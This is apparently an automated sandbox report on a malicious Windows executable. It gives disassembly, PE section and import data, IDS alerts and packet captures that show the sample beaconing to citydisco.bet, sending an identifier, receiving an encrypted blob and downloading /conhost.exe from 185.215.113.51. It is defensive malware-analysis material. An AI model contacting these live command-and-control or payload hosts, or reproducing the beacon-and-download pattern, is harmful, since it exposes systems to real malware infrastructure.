xor dword ptr [ebp-04h], eax
lea eax, dword ptr [ebp-14h]
push eax
call dword ptr [0045C8A8h]
mov eax, dword ptr [ebp-10h]
lea ecx, dword ptr [ebp-04h]
xor eax, dword ptr [ebp-14h]
xor eax, dword ptr [ebp-04h]
xor eax, ecx
leave
ret
mov eax, 00004000h
ret
push 004614D0h
call dword ptr [0045C880h]
ret
push 00030000h
push 00010000h
push 00000000h
call 00007F2331063B55h
add esp, 0Ch

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x5c650	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0xb8e00	0x4540	.bss
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x63000	0x276c	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x58b28	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x54f98	0xc0	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x5c7c0	0x148	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x52cc0	0x52e00	b955d299ddc749adb9e2a9fa46e5dda4	False	0.5095947633861236	data	6.772334323063753	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x54000	0xa124	0xa200	147c72eee2c66963ee69f82cf3610cb3	False	0.4244068287037037	data	4.908125312415663	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x5f000	0x2c9c	0x1600	eab85ca8d24299491f287a6faf9660e1	False	0.4069602272727273	data	4.744736283390186	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tls	0x62000	0x9	0x200	1f354d76203061bfdd5a53dae48d5435	False	0.033203125	data	0.020393135236084953	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.reloc	0x63000	0x276c	0x2800	ed7d506be2e46b9b1c8fde31ac68b654	False	0.7849609375	data	6.600494306172883	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
.bss	0x66000	0x57800	0x57800	9fa3b7714a0225b2306b867607d0f0f3	False	1.0003236607142858	data	7.999489720110452	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL

Import

KERNEL32.dll

AcquireSRWLockExclusive, CloseHandle, CompareStringW, CreateFileW, DecodePointer, DeleteCriticalSection, EncodePointer, EnterCriticalSection, EnumSystemLocalesW, ExitProcess, FindClose, FindFirstFileExW, FindNextFileW, FlushFileBuffers, FreeEnvironmentStringsW, FreeLibrary, GetACP, GetCPInfo, GetCommandLineA, GetCommandLineW, GetConsoleMode, GetConsoleOutputCP, GetCurrentProcess, GetCurrentProcessId, GetCurrentThreadId, GetEnvironmentStringsW, GetFileSizeEx, GetFileType, GetLastError, GetLocaleInfoW, GetModuleFileNameW, GetModuleHandleA, GetModuleHandleExW, GetModuleHandleW, GetOEMCP, GetProcAddress, GetProcessHeap, GetStartupInfoW, GetStdHandle, GetStringTypeW, GetSystemTimeAsFileTime, GetUserDefaultLCID, HeapAlloc, HeapFree, HeapReAlloc, HeapSize, InitializeCriticalSectionAndSpinCount, InitializeCriticalSectionEx, InitializeSListHead, IsDebuggerPresent, IsProcessorFeaturePresent, IsValidCodePage, IsValidLocale, LCMapStringEx, LCMapStringW, LeaveCriticalSection, LoadLibraryExW, MultiByteToWideChar, QueryPerformanceCounter, RaiseException, ReadConsoleW, ReadFile, ReleaseSRWLockExclusive, RtlUnwind, SetEndOfFile, SetEnvironmentVariableW, SetFilePointerEx, SetLastError, SetStdHandle, SetUnhandledExceptionFilter, SleepConditionVariableSRW, TerminateProcess, TlsAlloc, TlsFree, TlsGetValue, TlsSetValue, UnhandledExceptionFilter, WakeAllConditionVariable, WideCharToMultiByte, WriteConsoleW, WriteFile

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-03-13T13:33:30.758978+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49718	188.114.97.3	443	TCP
2025-03-13T13:33:33.521255+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49719	188.114.97.3	443	TCP
2025-03-13T13:33:35.964192+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49720	188.114.97.3	443	TCP
2025-03-13T13:33:38.120489+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49721	188.114.97.3	443	TCP
2025-03-13T13:33:40.817727+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49722	188.114.97.3	443	TCP
2025-03-13T13:33:43.555812+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49724	188.114.97.3	443	TCP
2025-03-13T13:33:47.798051+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49726	188.114.97.3	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 13, 2025 13:33:29.382636070 CET	49718	443	192.168.2.4	188.114.97.3
Mar 13, 2025 13:33:29.382690907 CET	443	49718	188.114.97.3	192.168.2.4
Mar 13, 2025 13:33:29.382766962 CET	49718	443	192.168.2.4	188.114.97.3
Mar 13, 2025 13:33:29.386368036 CET	49718	443	192.168.2.4	188.114.97.3
Mar 13, 2025 13:33:29.386379957 CET	443	49718	188.114.97.3	192.168.2.4
Mar 13, 2025 13:33:30.758893967 CET	443	49718	188.114.97.3	192.168.2.4
Mar 13, 2025 13:33:30.758977890 CET	49718	443	192.168.2.4	188.114.97.3
Mar 13, 2025 13:33:30.837704897 CET	49718	443	192.168.2.4	188.114.97.3
Mar 13, 2025 13:33:30.837723970 CET	443	49718	188.114.97.3	192.168.2.4
Mar 13, 2025 13:33:30.838124037 CET	443	49718	188.114.97.3	192.168.2.4
Mar 13, 2025 13:33:30.891465902 CET	49718	443	192.168.2.4	188.114.97.3
Mar 13, 2025 13:33:30.967756987 CET	49718	443	192.168.2.4	188.114.97.3
Mar 13, 2025 13:33:30.967957973 CET	49718	443	192.168.2.4	188.114.97.3
Mar 13, 2025 13:33:30.968003035 CET	443	49718	188.114.97.3	192.168.2.4
Mar 13, 2025 13:33:31.749413013 CET	443	49718	188.114.97.3	192.168.2.4
Mar 13, 2025 13:33:31.749560118 CET	443	49718	188.114.97.3	192.168.2.4
Mar 13, 2025 13:33:31.749639034 CET	443	49718	188.114.97.3	192.168.2.4
Mar 13, 2025 13:33:31.749715090 CET	443	49718	188.114.97.3	192.168.2.4
Mar 13, 2025 13:33:31.749787092 CET	49718	443	192.168.2.4	188.114.97.3
Mar 13, 2025 13:33:31.749799967 CET	443	49718	188.114.97.3	192.168.2.4
Mar 13, 2025 13:33:31.749825954 CET	443	49718	188.114.97.3	192.168.2.4
Mar 13, 2025 13:33:31.750014067 CET	49718	443	192.168.2.4	188.114.97.3
Mar 13, 2025 13:33:31.750025988 CET	443	49718	188.114.97.3	192.168.2.4
Mar 13, 2025 13:33:31.759469986 CET	443	49718	188.114.97.3	192.168.2.4
Mar 13, 2025 13:33:31.759567022 CET	49718	443	192.168.2.4	188.114.97.3
Mar 13, 2025 13:33:31.759579897 CET	443	49718	188.114.97.3	192.168.2.4
Mar 13, 2025 13:33:31.759670019 CET	443	49718	188.114.97.3	192.168.2.4
Mar 13, 2025 13:33:31.759895086 CET	49718	443	192.168.2.4	188.114.97.3
Mar 13, 2025 13:33:31.759901047 CET	443	49718	188.114.97.3	192.168.2.4
Mar 13, 2025 13:33:31.807328939 CET	49718	443	192.168.2.4	188.114.97.3
Mar 13, 2025 13:33:31.841468096 CET	443	49718	188.114.97.3	192.168.2.4
Mar 13, 2025 13:33:31.887481928 CET	49718	443	192.168.2.4	188.114.97.3
Mar 13, 2025 13:33:31.893224001 CET	443	49718	188.114.97.3	192.168.2.4
Mar 13, 2025 13:33:31.893412113 CET	443	49718	188.114.97.3	192.168.2.4
Mar 13, 2025 13:33:31.893610001 CET	49718	443	192.168.2.4	188.114.97.3
Mar 13, 2025 13:33:31.914657116 CET	49718	443	192.168.2.4	188.114.97.3
Mar 13, 2025 13:33:31.914683104 CET	443	49718	188.114.97.3	192.168.2.4
Mar 13, 2025 13:33:32.173326015 CET	49719	443	192.168.2.4	188.114.97.3
Mar 13, 2025 13:33:32.173367023 CET	443	49719	188.114.97.3	192.168.2.4
Mar 13, 2025 13:33:32.173465014 CET	49719	443	192.168.2.4	188.114.97.3
Mar 13, 2025 13:33:32.173928976 CET	49719	443	192.168.2.4	188.114.97.3
Mar 13, 2025 13:33:32.173943996 CET	443	49719	188.114.97.3	192.168.2.4
Mar 13, 2025 13:33:33.520442009 CET	443	49719	188.114.97.3	192.168.2.4
Mar 13, 2025 13:33:33.521255016 CET	49719	443	192.168.2.4	188.114.97.3
Mar 13, 2025 13:33:33.523592949 CET	49719	443	192.168.2.4	188.114.97.3
Mar 13, 2025 13:33:33.523608923 CET	443	49719	188.114.97.3	192.168.2.4
Mar 13, 2025 13:33:33.523999929 CET	443	49719	188.114.97.3	192.168.2.4
Mar 13, 2025 13:33:33.528712034 CET	49719	443	192.168.2.4	188.114.97.3
Mar 13, 2025 13:33:33.528846025 CET	49719	443	192.168.2.4	188.114.97.3
Mar 13, 2025 13:33:33.528904915 CET	443	49719	188.114.97.3	192.168.2.4
Mar 13, 2025 13:33:33.528964996 CET	49719	443	192.168.2.4	188.114.97.3
Mar 13, 2025 13:33:33.528975964 CET	443	49719	188.114.97.3	192.168.2.4
Mar 13, 2025 13:33:34.504117012 CET	443	49719	188.114.97.3	192.168.2.4
Mar 13, 2025 13:33:34.504267931 CET	443	49719	188.114.97.3	192.168.2.4
Mar 13, 2025 13:33:34.505192041 CET	49719	443	192.168.2.4	188.114.97.3
Mar 13, 2025 13:33:34.505192041 CET	49719	443	192.168.2.4	188.114.97.3
Mar 13, 2025 13:33:34.624866962 CET	49720	443	192.168.2.4	188.114.97.3
Mar 13, 2025 13:33:34.624923944 CET	443	49720	188.114.97.3	192.168.2.4
Mar 13, 2025 13:33:34.625005007 CET	49720	443	192.168.2.4	188.114.97.3
Mar 13, 2025 13:33:34.625389099 CET	49720	443	192.168.2.4	188.114.97.3
Mar 13, 2025 13:33:34.625401020 CET	443	49720	188.114.97.3	192.168.2.4
Mar 13, 2025 13:33:34.813724995 CET	49719	443	192.168.2.4	188.114.97.3
Mar 13, 2025 13:33:34.813751936 CET	443	49719	188.114.97.3	192.168.2.4
Mar 13, 2025 13:33:35.964107037 CET	443	49720	188.114.97.3	192.168.2.4
Mar 13, 2025 13:33:35.964191914 CET	49720	443	192.168.2.4	188.114.97.3
Mar 13, 2025 13:33:35.965964079 CET	49720	443	192.168.2.4	188.114.97.3
Mar 13, 2025 13:33:35.965979099 CET	443	49720	188.114.97.3	192.168.2.4
Mar 13, 2025 13:33:35.966243982 CET	443	49720	188.114.97.3	192.168.2.4
Mar 13, 2025 13:33:35.971132994 CET	49720	443	192.168.2.4	188.114.97.3
Mar 13, 2025 13:33:35.971246004 CET	49720	443	192.168.2.4	188.114.97.3
Mar 13, 2025 13:33:35.971290112 CET	443	49720	188.114.97.3	192.168.2.4
Mar 13, 2025 13:33:36.736110926 CET	443	49720	188.114.97.3	192.168.2.4
Mar 13, 2025 13:33:36.736248016 CET	443	49720	188.114.97.3	192.168.2.4
Mar 13, 2025 13:33:36.736362934 CET	49720	443	192.168.2.4	188.114.97.3
Mar 13, 2025 13:33:36.737144947 CET	49720	443	192.168.2.4	188.114.97.3
Mar 13, 2025 13:33:36.954118013 CET	49721	443	192.168.2.4	188.114.97.3
Mar 13, 2025 13:33:36.954179049 CET	443	49721	188.114.97.3	192.168.2.4
Mar 13, 2025 13:33:36.954303026 CET	49721	443	192.168.2.4	188.114.97.3
Mar 13, 2025 13:33:36.954713106 CET	49721	443	192.168.2.4	188.114.97.3
Mar 13, 2025 13:33:36.954742908 CET	443	49721	188.114.97.3	192.168.2.4
Mar 13, 2025 13:33:38.119450092 CET	443	49721	188.114.97.3	192.168.2.4
Mar 13, 2025 13:33:38.120488882 CET	49721	443	192.168.2.4	188.114.97.3
Mar 13, 2025 13:33:38.208025932 CET	49721	443	192.168.2.4	188.114.97.3
Mar 13, 2025 13:33:38.208053112 CET	443	49721	188.114.97.3	192.168.2.4
Mar 13, 2025 13:33:38.209093094 CET	443	49721	188.114.97.3	192.168.2.4
Mar 13, 2025 13:33:38.224487066 CET	49721	443	192.168.2.4	188.114.97.3
Mar 13, 2025 13:33:38.224565983 CET	49721	443	192.168.2.4	188.114.97.3
Mar 13, 2025 13:33:38.224697113 CET	443	49721	188.114.97.3	192.168.2.4
Mar 13, 2025 13:33:38.228442907 CET	49721	443	192.168.2.4	188.114.97.3
Mar 13, 2025 13:33:38.228461981 CET	443	49721	188.114.97.3	192.168.2.4
Mar 13, 2025 13:33:39.108690023 CET	443	49721	188.114.97.3	192.168.2.4
Mar 13, 2025 13:33:39.108942986 CET	49721	443	192.168.2.4	188.114.97.3
Mar 13, 2025 13:33:39.648914099 CET	49722	443	192.168.2.4	188.114.97.3
Mar 13, 2025 13:33:39.648977041 CET	443	49722	188.114.97.3	192.168.2.4
Mar 13, 2025 13:33:39.649406910 CET	49722	443	192.168.2.4	188.114.97.3
Mar 13, 2025 13:33:39.649771929 CET	49722	443	192.168.2.4	188.114.97.3
Mar 13, 2025 13:33:39.649787903 CET	443	49722	188.114.97.3	192.168.2.4
Mar 13, 2025 13:33:40.811309099 CET	443	49722	188.114.97.3	192.168.2.4
Mar 13, 2025 13:33:40.817727089 CET	49722	443	192.168.2.4	188.114.97.3
Mar 13, 2025 13:33:40.823050022 CET	49722	443	192.168.2.4	188.114.97.3
Mar 13, 2025 13:33:40.823071957 CET	443	49722	188.114.97.3	192.168.2.4
Mar 13, 2025 13:33:40.823911905 CET	443	49722	188.114.97.3	192.168.2.4
Mar 13, 2025 13:33:40.836548090 CET	49722	443	192.168.2.4	188.114.97.3
Mar 13, 2025 13:33:40.836632013 CET	49722	443	192.168.2.4	188.114.97.3
Mar 13, 2025 13:33:40.836745024 CET	443	49722	188.114.97.3	192.168.2.4
Mar 13, 2025 13:33:41.566373110 CET	443	49722	188.114.97.3	192.168.2.4
Mar 13, 2025 13:33:41.566586971 CET	49722	443	192.168.2.4	188.114.97.3
Mar 13, 2025 13:33:42.241141081 CET	49724	443	192.168.2.4	188.114.97.3
Mar 13, 2025 13:33:42.241204977 CET	443	49724	188.114.97.3	192.168.2.4
Mar 13, 2025 13:33:42.241650105 CET	49724	443	192.168.2.4	188.114.97.3
Mar 13, 2025 13:33:42.242002010 CET	49724	443	192.168.2.4	188.114.97.3
Mar 13, 2025 13:33:42.242017031 CET	443	49724	188.114.97.3	192.168.2.4
Mar 13, 2025 13:33:43.555717945 CET	443	49724	188.114.97.3	192.168.2.4
Mar 13, 2025 13:33:43.555811882 CET	49724	443	192.168.2.4	188.114.97.3
Mar 13, 2025 13:33:43.557478905 CET	49724	443	192.168.2.4	188.114.97.3
Mar 13, 2025 13:33:43.557504892 CET	443	49724	188.114.97.3	192.168.2.4
Mar 13, 2025 13:33:43.557811975 CET	443	49724	188.114.97.3	192.168.2.4
Mar 13, 2025 13:33:43.561435938 CET	49724	443	192.168.2.4	188.114.97.3
Mar 13, 2025 13:33:43.562282085 CET	49724	443	192.168.2.4	188.114.97.3
Mar 13, 2025 13:33:43.562316895 CET	443	49724	188.114.97.3	192.168.2.4
Mar 13, 2025 13:33:43.562578917 CET	49724	443	192.168.2.4	188.114.97.3
Mar 13, 2025 13:33:43.563391924 CET	443	49724	188.114.97.3	192.168.2.4
Mar 13, 2025 13:33:43.563612938 CET	49724	443	192.168.2.4	188.114.97.3
Mar 13, 2025 13:33:43.563648939 CET	443	49724	188.114.97.3	192.168.2.4
Mar 13, 2025 13:33:43.563810110 CET	49724	443	192.168.2.4	188.114.97.3
Mar 13, 2025 13:33:43.563844919 CET	443	49724	188.114.97.3	192.168.2.4
Mar 13, 2025 13:33:43.564004898 CET	49724	443	192.168.2.4	188.114.97.3
Mar 13, 2025 13:33:43.564033985 CET	443	49724	188.114.97.3	192.168.2.4
Mar 13, 2025 13:33:43.564234018 CET	49724	443	192.168.2.4	188.114.97.3
Mar 13, 2025 13:33:43.564271927 CET	443	49724	188.114.97.3	192.168.2.4
Mar 13, 2025 13:33:43.564280987 CET	49724	443	192.168.2.4	188.114.97.3
Mar 13, 2025 13:33:43.564300060 CET	443	49724	188.114.97.3	192.168.2.4
Mar 13, 2025 13:33:43.564654112 CET	49724	443	192.168.2.4	188.114.97.3
Mar 13, 2025 13:33:43.564686060 CET	443	49724	188.114.97.3	192.168.2.4
Mar 13, 2025 13:33:43.564718008 CET	49724	443	192.168.2.4	188.114.97.3
Mar 13, 2025 13:33:43.564770937 CET	49724	443	192.168.2.4	188.114.97.3
Mar 13, 2025 13:33:43.564836025 CET	49724	443	192.168.2.4	188.114.97.3
Mar 13, 2025 13:33:43.564877033 CET	443	49724	188.114.97.3	192.168.2.4
Mar 13, 2025 13:33:43.565262079 CET	49724	443	192.168.2.4	188.114.97.3
Mar 13, 2025 13:33:43.565299988 CET	443	49724	188.114.97.3	192.168.2.4
Mar 13, 2025 13:33:43.565326929 CET	49724	443	192.168.2.4	188.114.97.3
Mar 13, 2025 13:33:43.565371037 CET	49724	443	192.168.2.4	188.114.97.3
Mar 13, 2025 13:33:43.565598011 CET	443	49724	188.114.97.3	192.168.2.4
Mar 13, 2025 13:33:46.407448053 CET	443	49724	188.114.97.3	192.168.2.4
Mar 13, 2025 13:33:46.407670021 CET	49724	443	192.168.2.4	188.114.97.3
Mar 13, 2025 13:33:46.450584888 CET	49726	443	192.168.2.4	188.114.97.3
Mar 13, 2025 13:33:46.450634956 CET	443	49726	188.114.97.3	192.168.2.4
Mar 13, 2025 13:33:46.450722933 CET	49726	443	192.168.2.4	188.114.97.3
Mar 13, 2025 13:33:46.451047897 CET	49726	443	192.168.2.4	188.114.97.3
Mar 13, 2025 13:33:46.451071978 CET	443	49726	188.114.97.3	192.168.2.4
Mar 13, 2025 13:33:47.797904015 CET	443	49726	188.114.97.3	192.168.2.4
Mar 13, 2025 13:33:47.798051119 CET	49726	443	192.168.2.4	188.114.97.3
Mar 13, 2025 13:33:47.800759077 CET	49726	443	192.168.2.4	188.114.97.3
Mar 13, 2025 13:33:47.800770044 CET	443	49726	188.114.97.3	192.168.2.4
Mar 13, 2025 13:33:47.801111937 CET	443	49726	188.114.97.3	192.168.2.4
Mar 13, 2025 13:33:47.813070059 CET	49726	443	192.168.2.4	188.114.97.3
Mar 13, 2025 13:33:47.813095093 CET	49726	443	192.168.2.4	188.114.97.3
Mar 13, 2025 13:33:47.813160896 CET	443	49726	188.114.97.3	192.168.2.4
Mar 13, 2025 13:33:48.609066963 CET	443	49726	188.114.97.3	192.168.2.4
Mar 13, 2025 13:33:48.617136955 CET	443	49726	188.114.97.3	192.168.2.4
Mar 13, 2025 13:33:48.617213964 CET	443	49726	188.114.97.3	192.168.2.4
Mar 13, 2025 13:33:48.617240906 CET	443	49726	188.114.97.3	192.168.2.4
Mar 13, 2025 13:33:48.617283106 CET	49726	443	192.168.2.4	188.114.97.3
Mar 13, 2025 13:33:48.617307901 CET	443	49726	188.114.97.3	192.168.2.4
Mar 13, 2025 13:33:48.617341042 CET	49726	443	192.168.2.4	188.114.97.3
Mar 13, 2025 13:33:48.624043941 CET	443	49726	188.114.97.3	192.168.2.4
Mar 13, 2025 13:33:48.624090910 CET	443	49726	188.114.97.3	192.168.2.4
Mar 13, 2025 13:33:48.624118090 CET	49726	443	192.168.2.4	188.114.97.3
Mar 13, 2025 13:33:48.624126911 CET	443	49726	188.114.97.3	192.168.2.4
Mar 13, 2025 13:33:48.624159098 CET	443	49726	188.114.97.3	192.168.2.4
Mar 13, 2025 13:33:48.624178886 CET	49726	443	192.168.2.4	188.114.97.3
Mar 13, 2025 13:33:48.624186039 CET	443	49726	188.114.97.3	192.168.2.4
Mar 13, 2025 13:33:48.624224901 CET	49726	443	192.168.2.4	188.114.97.3
Mar 13, 2025 13:33:48.624525070 CET	49726	443	192.168.2.4	188.114.97.3
Mar 13, 2025 13:33:48.624547958 CET	49726	443	192.168.2.4	188.114.97.3
Mar 13, 2025 13:33:48.624694109 CET	443	49726	188.114.97.3	192.168.2.4
Mar 13, 2025 13:33:48.624722004 CET	443	49726	188.114.97.3	192.168.2.4
Mar 13, 2025 13:33:48.624749899 CET	49726	443	192.168.2.4	188.114.97.3
Mar 13, 2025 13:33:48.624788046 CET	49726	443	192.168.2.4	188.114.97.3
Mar 13, 2025 13:33:48.628573895 CET	49727	80	192.168.2.4	185.215.113.51
Mar 13, 2025 13:33:48.633219957 CET	80	49727	185.215.113.51	192.168.2.4
Mar 13, 2025 13:33:48.633328915 CET	49727	80	192.168.2.4	185.215.113.51
Mar 13, 2025 13:33:48.633455992 CET	49727	80	192.168.2.4	185.215.113.51
Mar 13, 2025 13:33:48.638046980 CET	80	49727	185.215.113.51	192.168.2.4
Mar 13, 2025 13:33:49.324925900 CET	49727	80	192.168.2.4	185.215.113.51

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 13, 2025 13:33:29.356473923 CET	64980	53	192.168.2.4	1.1.1.1
Mar 13, 2025 13:33:29.375149012 CET	53	64980	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Mar 13, 2025 13:33:29.356473923 CET	192.168.2.4	1.1.1.1	0xc3c1	Standard query (0)	citydisco.bet	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Mar 13, 2025 13:33:29.375149012 CET	1.1.1.1	192.168.2.4	0xc3c1	No error (0)	citydisco.bet		188.114.97.3	A (IP address)	IN (0x0001)	false
Mar 13, 2025 13:33:29.375149012 CET	1.1.1.1	192.168.2.4	0xc3c1	No error (0)	citydisco.bet		188.114.96.3	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

citydisco.bet

185.215.113.51

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49727	185.215.113.51	80	7352	C:\Users\user\Desktop\SoftWare(2).exe1.exe

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2025 13:33:48.633455992 CET	75	OUT	GET /conhost.exe HTTP/1.1 Connection: Keep-Alive Host: 185.215.113.51

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49718	188.114.97.3	443	7352	C:\Users\user\Desktop\SoftWare(2).exe1.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-13 12:33:30 UTC	263	OUT	POST /gdJIS HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 67 Host: citydisco.bet
2025-03-13 12:33:30 UTC	67	OUT	Data Raw: 75 69 64 3d 32 32 66 30 61 33 38 65 33 30 63 61 64 37 39 31 38 64 34 64 64 30 36 63 35 35 38 34 36 62 34 38 35 62 35 32 61 33 36 65 39 35 32 39 36 63 64 38 62 35 39 31 39 36 63 38 63 34 26 63 69 64 3d Data Ascii: uid=22f0a38e30cad7918d4dd06c55846b485b52a36e95296cd8b59196c8c4&cid=
2025-03-13 12:33:31 UTC	785	IN	HTTP/1.1 200 OK Date: Thu, 13 Mar 2025 12:33:31 GMT Content-Type: application/octet-stream Content-Length: 14134 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Z9L%2B0YBRkSZSmwhtE6U6RfcgmdFE6s%2Fde9mcSMEtsirCx%2F%2FE2VsmSQX%2BPT4mtOBSv79uN73oFp6C%2BW7B4NyNyNHWlMLAjeyolALgAdTpaPx3sv2SWQptvNGXdcNRJroa"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 91fb8f69de272234-ORD alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=14218&min_rtt=14193&rtt_var=4036&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2830&recv_bytes=966&delivery_rate=202460&cwnd=234&unsent_bytes=0&cid=43f76ff3f4492884&ts=1136&x=0"
2025-03-13 12:33:31 UTC	584	IN	Data Raw: 0b 91 5c b3 b4 b7 26 ef f2 c0 a8 91 38 76 6a 42 6f 40 17 78 2e 8e 1d fa 5f ba 29 98 ba 5b 7d d5 91 a0 c3 2a 67 23 08 8f 25 e0 f0 90 86 f6 51 be 71 a0 2e 52 7f 24 45 d9 97 1e ae 68 21 2f 07 2c ff 70 35 ee bb 3a 54 d5 f8 d4 b5 ab 4a 71 ab 15 10 c4 b8 0e 3d 02 b1 8c 78 d8 c4 74 db 96 fc ba dc 7c f5 af d8 37 00 78 48 3e dd 71 63 6f f7 29 a7 c8 1b a1 81 62 7c 5b 70 50 a3 e2 51 77 d5 5e b9 72 3b c2 68 1e e6 83 18 4e 2c fd bb d7 fb 7d d7 cd e0 e8 0f 84 ed c1 78 d6 3e 6c 77 f2 f0 76 9b f9 6b 2c d6 a5 98 41 9f c2 18 f7 04 57 5e 88 dc 26 4f 06 33 f8 19 45 2c 69 4b b0 a7 9f f5 95 f6 60 df 5c 99 6d 94 f1 58 a2 f7 cb a2 72 4d 09 95 b9 a0 df 91 15 46 e1 5c 3e 95 ec d0 0c dd 12 ab 9d 7b 4c 3c d6 61 40 32 0b d4 f6 0d 83 f3 15 ad e5 58 86 c4 13 18 db c1 32 eb b8 fa d4 75 Data Ascii: \&8vjBo@x._)[}*g#%Qq.R$Eh!/,p5:TJq=xt\|7xH>qco)b\|[pPQw^r;hN,}x>lwvk,AW^&O3E,iK`\mXrMF\>{L<a@2X2u
2025-03-13 12:33:31 UTC	1369	IN	Data Raw: 5e 07 a8 e1 4c 5a 2a 37 14 49 ec 6d 10 ec ce 26 c2 1d 68 dd db ae 0a dc bf e3 e2 86 dd fa 77 64 0c 31 48 b3 e6 03 ff 79 bc cd 92 27 e4 bf 0e 44 02 e0 a6 22 ec 52 11 96 ce 81 4e 61 66 c1 41 c7 a6 ff a4 25 13 db de fc 05 2d 41 98 b0 31 5a ec e1 dd 3b de 2c e0 a6 97 ed 62 f6 5b bb 15 11 81 4e 73 88 be 8b c8 02 03 f4 f5 b2 31 47 90 49 c1 dc 09 63 0b 00 e4 d9 33 22 27 e0 6d 7f e2 20 ff 57 14 d9 37 4b c5 20 b2 d8 20 7f ec 48 83 1b d2 fa 70 7f ae 8e 90 c5 ef 11 b3 82 e8 d7 85 bf 52 53 ae 3e 57 86 08 e6 d1 c8 55 65 c2 0a 08 83 5e 0c 11 c9 26 ce 42 95 63 73 95 89 7f 10 bb 50 49 1f ec 49 9f 1d 3a 99 da 84 85 43 d0 98 c5 48 2d 52 bf 89 b0 d9 c7 ed 8b f7 d3 ae 5d ea b1 16 49 b9 ca 64 8e 69 57 57 57 4f 2d a3 f9 a2 bb fc 4a bc 87 02 e4 f1 f1 f4 14 6b dd 3c ec 7c 5e f7 Data Ascii: ^LZ*7Im&hwd1Hy'D"RNafA%-A1Z;,b[Ns1GIc3"'m W7K HpRS>WUe^&BcsPII:CH-R]IdiWWWO-Jk<\|^
